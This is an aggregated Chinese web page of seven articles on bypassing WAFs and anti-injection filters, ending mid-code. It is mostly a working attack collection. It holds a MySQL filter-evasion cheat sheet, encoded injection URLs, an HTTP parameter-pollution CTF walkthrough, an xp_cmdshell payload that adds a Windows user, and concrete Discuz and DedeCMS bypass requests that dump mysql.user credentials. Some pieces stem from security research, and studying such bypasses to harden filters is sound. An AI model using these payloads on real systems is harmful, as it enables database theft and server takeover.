waf绕过:mysql注入waf绕过技巧脚本安全

时间:2023-04-04 08:11:36 其他范文 收藏本文 下载本文

waf绕过:mysql注入waf绕过技巧脚本安全(共8篇)由网友“Username”投稿提供,以下是小编精心整理的waf绕过:mysql注入waf绕过技巧脚本安全,仅供参考,希望能够帮助到大家。

waf绕过:mysql注入waf绕过技巧脚本安全

篇1:waf绕过:mysql注入waf绕过技巧脚本安全

This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).

Basic filter

Comments

‘ or 1=1#

‘ or 1=1– -

‘ or 1=1/* (MySQL < 5.1)

‘ or 1=1;%00

‘ or 1=1 union select 1,2 as `

‘ or#newline

1=’1

‘ or– -newline

1=’1

‘ /*!50000or*/1=’1

‘ /*!or*/1=’1

Prefixes

+ – ~ !

‘ or –+2=- -!!!’2

Operators

^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces

%20 %09 %0a %0b %0c %0d %a0 /**/

‘or+(1)sounds/**/like“1“–%a0-

‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

Strings with quotes

SELECT ‘a’

SELECT “a”

SELECT n’a’

SELECT b’1100001′

SELECT _binary’1100001′

SELECT x’61′

Strings without quotes

‘abc’ = 0×616263

Aliases

select pass as alias from users

select pass aliasalias from users

select pass`alias alias`from users

Typecasting

‘ or true = ’1 # or 1=1

‘ or round(pi,1)+true+true = version() # or 3.1+1+1 = 5.1

‘ or ’1 # or true

Compare operator typecasting

select * from users where ‘a’=’b’=’c’

select * from users where (‘a’=’b’)=’c’

select * from users where (false)=’c’

select * from users where (0)=’c’

select * from users where (0)=0

select * from users where true

select * from users

Authentication bypass ‘=’

select * from users where name = ”=”

select * from users where false = ”

select * from users where 0 = 0

select * from users where true

select * from users

Authentication bypass ‘-’

select * from users where name = ”-”

select * from users where name = 0-0

select * from users where 0 = 0

select * from users where true

select * from users

Function filter

General function filtering

ascii (97)

load_file/*foo*/(0×616263)

Strings with functions

‘abc’ = unhex(616263)

‘abc’ = char(97,98,99)

hex(‘a’) = 61

ascii(‘a’) = 97

ord(‘a’) = 97

‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets

collation(\N) // binary

collation(user()) // utf8_general_ci

@@time_format // %H:%i:%s

@@binlog_format // MIXED

@@version_comment // MySQL Community Server (GPL)

dayname(from_days(401)) // Monday

dayname(from_days(403)) // Wednesday

monthname(from_days(690)) // November

monthname(from_unixtime(1)) // January

collation(convert((1)using/**/koi8r)) // koi8r_general_ci

(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets

aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa

des_encrypt(1,2) // ‚GÒ/ïÖk

@@ft_boolean_syntax // + -><()~*:””&|

@@date_format // %Y-%m-%d

@@innodb_log_group_home_dir // .\

Integer representations

false: 0

true: 1

true+true: 2

floor(pi()): 3

ceil(pi()): 4

floor(version()): 5

ceil(version()): 6

ceil(pi()+pi()): 7

floor(version()+pi()): 8

floor(pi()*pi()): 9

ceil(pi()*pi()): 10

concat(true,true): 11

ceil(pi()*pi())+true: 11

ceil(pi()+pi()+version()): 12

floor(pi()*pi()+pi()): 13

ceil(pi()*pi()+pi()): 14

ceil(pi()*pi()+version()): 15

floor(pi()*version()): 16

ceil(pi()*version()): 17

ceil(pi()*version())+true: 18

floor((pi()+pi())*pi()): 19

ceil((pi()+pi())*pi()): 20

ceil(ceil(pi())*version()): 21

concat(true+true,true): 21

ceil(pi()*ceil(pi()+pi())): 22

ceil((pi()+ceil(pi()))*pi()): 23

ceil(pi())*ceil(version()): 24

floor(pi()*(version()+pi())): 25

floor(version()*version()): 26

ceil(version()*version()): 27

ceil(pi()*pi()*pi()-pi()): 28

floor(pi()*pi()*floor(pi())): 29

ceil(pi()*pi()*floor(pi())): 30

concat(floor(pi()),false): 30

floor(pi()*pi()*pi()): 31

ceil(pi()*pi()*pi()): 32

ceil(pi()*pi()*pi())+true: 33

ceil(pow(pi(),pi())-pi()): 34

ceil(pi()*pi()*pi()+pi()): 35

floor(pow(pi(),pi())): 36

@@new: 0

@@log_bin: 1

!pi(): 0

!!pi(): 1

true-~true: 3

log(-cos(pi())): 0

-cos(pi()): 1

coercibility(user()): 3

coercibility(now()): 4

minute(now())

hour(now())

day(now())

week(now())

month(now())

year(now())

quarter(now())

year(@@timestamp)

crc32(true)

Extract substrings

substr(‘abc’,1,1) = ‘a’

substr(‘abc’ from 1 for 1) = ‘a’

substring(‘abc’,1,1) = ‘a’

substring(‘abc’ from 1 for 1) = ‘a’

mid(‘abc’,1,1) = ‘a’

mid(‘abc’ from 1 for 1) = ‘a’

lpad(‘abc’,1,space(1)) = ‘a’

rpad(‘abc’,1,space(1)) = ‘a’

left(‘abc’,1) = ‘a’

reverse(right(reverse(‘abc’),1)) = ‘a’

insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’

space(0) = trim(version()from(version()))

Search substrings

locate(‘a’,’abc’)

position(‘a’,’abc’)

position(‘a’ IN ‘abc’)

instr(‘abc’,’a’)

substring_index(‘ab’,’b’,1)

Cut substrings

length(trim(leading ‘a’ FROM ‘abc’))

length(replace(‘abc’, ‘a’, ”))

Compare strings

strcmp(‘a’,’a’)

mod(‘a’,’a’)

find_in_set(‘a’,’a’)

field(‘a’,’a’)

count(concat(‘a’,’a’))

String length

length()

bit_length()

char_length()

octet_length()

bit_count()

String case

ucase

lcase

lower

upper

password(‘a’) != password(‘A’)

old_password(‘a’) != old_password(‘A’)

md5(‘a’) != md5(‘A’)

sha(‘a’) != sha(‘A’)

aes_encrypt(‘a’) != aes_encrypt(‘A’)

des_encrypt(‘a’) != des_encrypt(‘A’)

Keyword filter

Connected keyword filtering

(0)union(select(table_name),column_name,…

0/**/union/*!50000select*/table_name`foo`/**/…

0%a0union%a0select%09group_concat(table_name)….

0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND

‘||1=’1

‘&&1=’1

‘=’

‘-’

OR, AND, UNION

‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT

‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE

‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP

‘ and length((select pass from users having substr(pass,1,1)=’a’))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING

‘ and (select substr(group_concat(pass),1,1) from users)=’a

‘ and substr((select max(pass) from users),1,1)=’a

‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT

‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a

‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE

‘ procedure analyse()#

‘-if(name=’Admin’,1,0)#

‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

Control flow

case ‘a’ when ‘a’ then 1 [else 0] end

case when ‘a’=’a’ then 1 [else 0] end

if(‘a’=’a’,1,0)

ifnull(nullif(‘a’,’a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.

篇2:waf绕过策略

先说明绕过的一些方法并非原创,这里只是做下简单分析说明,另也主要起到归纳的作用

网上也有绕过防注入的措施,大致内容不外乎编码之类的,这里引用几个:

1,例如常见的URL编码。

2,ASCII编码。

3,空格的绕过

4,类型转换修饰符N绕过

5,通过+号拆解字符串绕过

6,通过>或者<绕过>

7,运用注释语句绕过

8,用HEX绕过,一般的IDS都无法检测出来

9,concat绕过

10,字母大小写转换

但是这属于最基本的绕过,适用于大部分平台,但这有个问题就是绕过的不完全,部分可以绕过去,还有一部分严重依赖特殊关键字的还无法绕过。 这里就总结几个其他方面的绕过。

1,get转post或cookie。 (这个不算特别例外,但属于绕过一种)

2,%00.&[payload],

(用于安全狗,这个是引用前辈的)

3,分片绕过,巨大的content-length,导致设备bypass。 此问题最初是出现在传统的IPS上,熟悉TCP/IP的朋友都了解分片,也就是大容量的数据会分片发送然后由服务端重组,但是部分WAF因为性能不足或者其他原因无法重组这些数据,因此不判定为危险数据,于是提交后端服务器处理,于是成功绕过。

4,正则的%00,%0a ascii 00截断。 例如 aaa=x%00&username=name 防火墙遇到%00会绕过,一些正则遇到这些也会做一个截断处理。截断上传的原理就不多说了,此问题同样适用于绕过WAF

5,重复变量的绕过,重复变量的变体。 username=fsdf\’ and \’\'=\’&username=fsdf 。 此方法依实际情况而定,部分WAF允许变量覆盖,也就是相同的变量付了不同的值,覆盖了waf的cache。但是后端程序会优先处理最先前的值。。。于是乎。。。。

6,超大数据包绕过。 例如:a=x…..{10000} 重口味测试方法了。。。。

7,利用不同post解析方式。

8,畸形数据包结构。 username%20=fsdf&username=fsd&password=sdf

9,绕过针对域名的保护 例如却掉:HTTP头中的Host: 或者修改host

篇3: 是如何绕过WAF的

1.什么是WAF

Web Application Firewall

通过执行一系列针对HTTP/HTTPS的安全策略来防御对Web应用的攻击,

是如何绕过WAF的

目前主要有单设备WAF与云WAF

2.WAF的现状

1.太多数WAF能够拦截较为普通的WEB攻击

2.大多数WAF没有针对热点漏洞奇葩攻击EXP防御的能力

3.基本所有的WAF都存在策略性绕过

4.由于waf的业务限制等各种原因导致存在通用绕过

3.WAF应用分析

举例DEDECMS的一个变量注入漏洞

localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

请求过程示意图(单向)

WAF接收请求会先做什么

WAF逻辑漏洞及白名单阶段的绕过

搜索引擎白名单(判断引擎方式不严)

IP段白名单绕过

目录白名单绕过

绕过代理直接请求源站(代理模式云WAF)

WAF确认身份后的事

WAF数据包解析阶段的绕过(通用型绕过)

一、各种编码绕过

1.?id=1 union select pass from admin limit 1 ?id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31

2.?id=1 union select pass from admin limit 1 ?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1

二、复参数绕过 1.?id=1 union select 1&id=pass from admin

三、异常Method绕过

csadsl /1.php?id=1 and 1=1 HTTP/1.1

Host: www.cnseay.com Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

四、编码方式绕过(urlencoded/mutipart)

解析阶段绕过 --最具杀伤力(一)

1.各种编码绕过

2.复参数绕过(依赖Server)

3.特殊字符污染绕过(截断/%/09-0d等)

4.异常Method绕过

5.编码方式绕过(urlencoded/from-data)

6.超大数据包绕过

7.数据包分块传输绕过

WAF解析数据包后的那些事(单向)

WAF规则策略阶段的绕过--规则网

一、数据库特殊语法绕过

1.mysql .符号和~符号和!符号以及+和-号连接

?id=1.union%0aselect@1,2 ,!3,4

二、关键字拆分绕过

hackwuhen.blog.51cto.com/1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')

三、请求方式差异规则松懈性绕过

GET /id=1 union select 1,2,3,4 ---拦截 POST

id=1 union select 1,2,3,4 ---绕过

waf业务限制,POST规则相对松懈

四、冷门函数/标签绕过

1. /1.php?id=1 and 1=(updatexml(1,concat(0x3a,(select user)),1))

2. /1.php?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

WAF规则策略阶段的绕过总结(一)

1.字母大小写转换

2.数据库特殊语法绕过

3.关键字拆分绕过

4.请求方式差异规则松懈性绕过

5.多URL伪静态绕过

6.白字符绕过

7.冷门函数/标签绕过

篇4:小红伞的WAF一个绕过方法

今天遇到一个小红伞的WAF,随手测了下,发现很多都拦截了,但是任何WAF都不是万能的。

对此,该WAF我发现了一个缺陷。例如在大小字符上没有做什么匹配策略。

我可以很轻易的绕过去。虽然没法构造能够通过名单的select,但是其他的都绕过去了。

把一些敏感的东西发出来,给有需要的人用,

SeLECt 一开始这个是能够绕过的。但是貌似UNION查询就不能使用。UnIon 这个没有被拦截。改下就能用。-1 和 -0 测试是否有注入, and 和 ‘ 这两个都被过滤了,不需要测试。OrDeR By 这个随时都能使用。没有做匹配策略。

这是目前发现的绕过方法。

Select这个敏感的我还想到方法,在后面有空的时候我再做测试。

篇5:通过HTTP参数污染绕过WAF拦截

译:pnig0s_小P

上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点,这道题大概的背景是,你拥有一个低权限的帐号并需要找到方法来获得管理员权限。

当然,有很多种方法来介绍如何通过这关,但我想分享下我的通关经验。

当把一些单引号作为参数值发送之后返回了MySQL的典型报错信息“MySQL SQL Error Message”,因此可以轻易发现这里存在一个SQL注入漏洞。

然后,正如你了解的,我们通常会进行如下尝试:

128.238.66.217/horse.php?id=7 or 1 IN (select current_user)

然后我得到了一个错误信息,类似“请停止攻击该网站“这样的内容。

在我尝试了很多绕过SQLi filter的方法之后,我意识到在网站背后配置了一个WAF来阻止任意包

含“select”或“union”等在利用SQL注入时常用的SQL查询关键字。通过这样的黑盒测试可以猜测出WAF使用了类似下面这样的正则:

/^.*select.*$/ or /^.*union.*$/

这意味着,提交任意带有SQL注入企图的字符串,如blablaSELECTblabla或像/*!union*/这样的绕过方式都会触发WAF拦截的错误信息。

在进行了一些研究之后,我发现通过HTTP参数污染的方式能够使攻击者绕过WAF的拦截,

那么,究竟要如何实现呢?

我们假设有一个通过GET方式提交的参数“id”,你可以重复构造这个参数并以下面的形式发送出去:

?id=value1&id=value2

然后,依你使用的框架不同(PHP,Java,ASP.NET,etc),参数字符串会以不同的方式进行解析,在我们实验的场景下Apache/PHP,如果你可以多次注入同一个参数值,只有最后一个参数值会被框架解析,但是你猜怎么着?只有第一个参数会经过WAF的分析和过滤!

这意味着,通过注入: id=7&id=[SQLi]

WAF的网络层会解析id=7 <-合法

PHP应用层会解析id=[SQLi] <-注入语句成功执行

因此,这是一个典型的例子,你注入的东西在网络层和应用层被区别对待了。

下面是一张表格,列举了不同的框架当多次接受同一个参数时的不同表现。像ASP.NET,如果它接受到两个参数值,它会拼接两个相同参数的值,因此你可以将被过滤的关键词拆分到两个参数中进行攻击从而绕过WAF,当然这个主题已经超过这篇文章讨论的范围了。

接下来,我们尝试注入一些SQL语句:

128.238.66.217/horse.php?id=0&id=7%20union%20select%201,2,3,current_user

你能注意到,所有的注入利用语句都写到了第二个参数值的位置,这将不会被WAF解析。

我得到了第一次正确的返回结果:

csaw_chal1@localhost

接下来就是常规的MySQL注入过程,这里不再赘述,这篇文章主要在于讲解一种新的绕过WAF的方式,Thx

for reading!

篇6:网站脚本注入检测如何绕过限制

突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但

突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… 经过我的收集,大部分的防注入程序都过滤了以下关键字: and | select | update | chr | delete | from | ; | insert | mid | master. | set | = 而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉,

网站脚本注入检测如何绕过限制

。 对于关键字的过滤,以下是我收集的以及我个人的一些想法。 1、运用编码技术绕过 如URLEncode编码,ASCII编码绕过。例如or 1=1即 or 1=1,而Test也可以为CHAR(101) CHAR(97) CHAR(115) CHAR(116)。

2、通过空格绕过 如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 or’ swords’ =‘swords’

,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 3、运用字符串判断代替 用经典的or 1=1判断绕过,如 or ’swords’ =’swords’

,这个方法就是网上在讨论的。 4、通过类型转换修饰符N绕过 可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 5、通过 号拆解字符串绕过 效果值得考证,但毕竟是一种方法。如 or ’swords’ =‘sw’ ’ ords’ ;EXEC(‘IN’ ’ SERT INTO ’ ’ …..’ )

6、通过LIKE绕过 以前怎么就没想到呢?如or ’swords’ LIKE ’sw’

!!!显然可以很轻松的绕过 “=”“>”

的限制…… 7、通过IN绕过 与上面的LIKE的思路差不多,如 or ’swords’ IN (’swords’) 8、通过BETWEEN绕过 如 or ’swords’ BETWEEN ’rw’ AND ’tw’ 9、通过>或者<绕过 or=“or” rsquoswordsrsquo=“’swords’”>’sw’

or ’swords’ < ’tw’

or 1<3 …… 10、运用注释语句绕过 用/**/代替空格,如: UNION /**/ Select /**/user,pwd,from tbluser

用/**/分割敏感词,如: U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX绕过,一般的IDS都无法检测出来 0x730079007300610064006D0069006E00 =hex(sysadmin)

0x64006F006F0077006E0065007200 =hex(db_owner) 另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令,

变量a可以是任何命令。如下: declare @a sysname

select @a=

exec master.dbo.xp_cmdshell @a 效果 www.ilikeplmm.com/show.asp?id=1;declare @a% 20sysname select @a=0x6e0065007400750073006500700061006e00670065006c002000700061007300730020002f00610064006400 exec master.dbo.xp_cmdshell @a;--

其中的 0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

就是 “net user angel pass /add”

的意思。

篇7:几种通用防注入程序绕过方法脚本安全

0x00 前言


目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法,

0x01 Discuz x2.0防注入


防注入原理

这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。

漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示

function getGoods($id){      $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);        $goods = DB::fetch($query);        $goods['endtime2'] = date('Y-m-d',$goods['endtime']);        $goods['price2'] = $goods['price'];        if($goods['sort'] ==2){            $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);            $query = DB::query(“select * from ”.DB::table('v63_pm').“ where gid='$goods[id]' order by id desc ”);            $last = DB::fetch($query);            if(is_array($last)){                $goods['price'] = $last['chujia'];                $goods['uid']  = $last['uid'];                $goods['username']  = $last['username'];                $goods['pm'] = $last;                if(time+600>$goods['endtime']){                    $goods['endtime'] = $last[time]+600;                    $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);                }            }        }        return $goods;}

触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示: 

下面可以构造如下请求触发漏洞了,如图所示: 

不过程序内置了一个_do_query_safe函数用来防注入,如图所示 

这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示:

因为我们的url中出现了union select,所以会被过滤掉。

绕过方法

这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url:

localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为

select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示

 此时$clean值,如图所示 

此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下: 

0x02 Discuz X2.5防注入


防注入原理

Discuz X2.5版修改了防注入函数的代码,在/config/config_global.php中有如下代码,如图所示 

这里$_config['security']['querysafe']['afullnote'] 默认被设置为0,重点关注这一点。

这里跟踪一下失败的原因,如图所示: 

此时观察一下变量,_do_query_safe($sql)函数会将/**/中的内容去掉,然后存到$clean中,如图所示: 

其实,程序执行到这里跟Discuz X2.0没有区别,$clean的值都一样。但是关键在下面,如图所示:

 因为前面提到$_config['security']['querysafe']['afullnote']=’0’,所以这里不会替换/**/为空,并且它在后面会判断$clean中是否会出现“/*”,如图所示:  

所以注入失败。

绕过方法

在Mysql当中,定义变量用@字符,可以用set @a=’abc’,来为变量赋值。这里为了合法的构造出一个单引号,目的是为了让sql正确,我们可以用@'放入sql语句当中,帮助我们绕过防注入程序检查。

这里利用如下方式绕过_do_query_safe函数过滤,如下所示:

localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user

这里跟踪一下执行的过程,如图所示:

 这里有一个if判断,重点看这句

$clean = preg_replace(“/'(.+?)'/s”, '', $sql);

它会将$sql中单引号引起来的字符串省略掉,所以我们可以用绕过dede防住ids的思路,利用

@`'` union select @`'`

这样的方法,在下面的过滤中省掉union select,这里跟踪一下,如图所示: 

这样便绕过了_do_query_safe函数检测,成功绕过防注入,如图所示: 

不过后来Discuz官方发布了一个修复补丁,但并没用从根本上解决问题。官方的修复代码如下: 

加了一个判断,过滤字符串中的@,但是始终没有修复根本问题,关键是上边的那个if判断会将单引号之间的内容(包括单引号)替换为空,代码如下:

if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {    $clean = preg_replace(“/'(.+?)'/s”, '', $sql);}

这里我只要稍做一下变换就可以让@字符消失,从而绕过它的过滤,利用如下所示:

localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`

这里我引入了`'`用来隐藏第一个@字符,并将第一个@`'`替换为@`''`,这样便可以替换掉第二个@,这里我们跟踪一下代码,如图所示: 

可以看到$clean变为

select * from pre_v63_goods where `id` =``

成功绕过补丁,如图所示:

 不过这样做的代价是不能再使用union select了,只能通过报错获取数据。

0x03 DedeCMS防注入


防注入原理

这里我也以最近热点分析的dedeCMS feedback.php注入漏洞为例,分析如何绕过其防注入系统。不过在这之前,还得先提一下这个漏洞。

漏洞存在于/plus/feedback.php中的第244行,代码如下所示

if($comtype == 'comments')    {        $arctitle = addslashes($title);        0id = intval(0id);        $ischeck = intval($ischeck);        $feedbacktype = preg_replace(“#[^0-9a-z]#i”, “”, $feedbacktype);        if($msg!='')        {            $inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)                  VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ”;            $rs = $dsql->ExecuteNoneQuery($inquery);            if(!$rs)            {                ShowMsg(' 发表评论错误! ', '-1');                //echo $dsql->GetError();                exit();            }        }    }    //引用回复    elseif ($comtype == 'reply')    {        $row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id ='$fid'”);        $arctitle = $row['arctitle'];        $aid =$row['aid'];        $msg = $quotemsg.$msg;        $msg = HtmlReplace($msg, 2);        $inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)                VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')”;        $dsql->ExecuteNoneQuery($inquery);    }

这里$title变量未初始化,所以$title可以作为可控变量,所以我们可以进一步控制$arctitle。跟踪发现$arctitle被直接带入SQL语句当中,但是这里执行的INSERT语句入库之后会将前面addslashes转义的单引号在会员还原回去。进一步跟踪下面的代码,在第268行,如下所示

$row = $dsql->GetOne(“SELECT * FROM `#@__feedback` WHERE id ='$fid'”);$arctitle = $row['arctitle'];

这里的查询#@__feedback表正式上面INSERT的那个表,arctitle字段取出来放到$arctitle变量当中,继续跟踪到第273行,这下豁然开朗了,

$inquery = “INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)                VALUES ('$aid','0id','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')”;

这里$arctitle变量未作任何处理,就丢进了SQL语句当中,由于我们可以控制$title,虽然$arctitle是被addslashes函数处理过的数据,但是被INSERT到数据库中又被还原了,所以综合起来这就造成了二次注入漏洞。

但是这里如何利用呢,通过跟踪代码发现,整个dede在整个过程中始终没有输出信息,所以我们无法通过构造公式报错来获取数据,但是进一步分析代码发现#@__feedback表当中的msg字段会被输出。由于$arctitle变量是可控的,所以我们可以通过构造SQL语句,将我们要执行的代码插入到msg字段当中,这样便可以输出执行的内容了。

绕过方法

众所周知,dedeCMS内置了一个CheckSql()函数用来防注入,它是80sec开发的通用防注入ids程序,每当执行sql之前都要用它来检查一遍。其代码如下所示:

function CheckSql($db_string,$querytype='select')    {        global $cfg_cookie_encode;        $clean = '';        $error='';        $old_pos = 0;        $pos = -1;        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';        $userIP = GetIP();        $getUrl = GetCurUrl();        //如果是普通查询语句,直接过滤一些特殊语法        if($querytype=='select')        {            $notallow1 = “[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}”;            //$notallow2 = “--|/\*”;            if(preg_match(“/”.$notallow1.“/i”, $db_string))            {                fputs(fopen($log_file,'a+'),“$userIP||$getUrl||$db_string||SelectBreak\r\n”);                exit(“Safe Alert: Request Error step 1 !”);            }        }        //完整的SQL检查        while (TRUE)        {            $pos = strpos($db_string, '\'', $pos + 1);            if ($pos === FALSE)            {                break;            }            $clean .= substr($db_string, $old_pos, $pos - $old_pos);            while (TRUE)            {                $pos1 = strpos($db_string, '\'', $pos + 1);                $pos2 = strpos($db_string, '\\', $pos + 1);                if ($pos1 === FALSE)                {                    break;                }                elseif ($pos2 == FALSE || $pos2 >$pos1)                {                    $pos = $pos1;                    break;                }                $pos = $pos2 + 1;            }            $clean .= '$s$';            $old_pos = $pos + 1;        }        $clean .= substr($db_string, $old_pos);        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些 使用它,所以检查它        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“union detect”;        }        //发布版本的程序可能比较少包括--,#这样的注释,但是 经常使用它们        elseif (strpos($clean, '/*') >2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)        {            $fail = TRUE;            $error=“comment detect”;        }        //这些函数不会被使用,但是 会用它来操作文件,down掉数据库        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“slown down detect”;        }        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)        {            $fail = TRUE;            $error=“slown down detect”;        }        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)        {            $fail 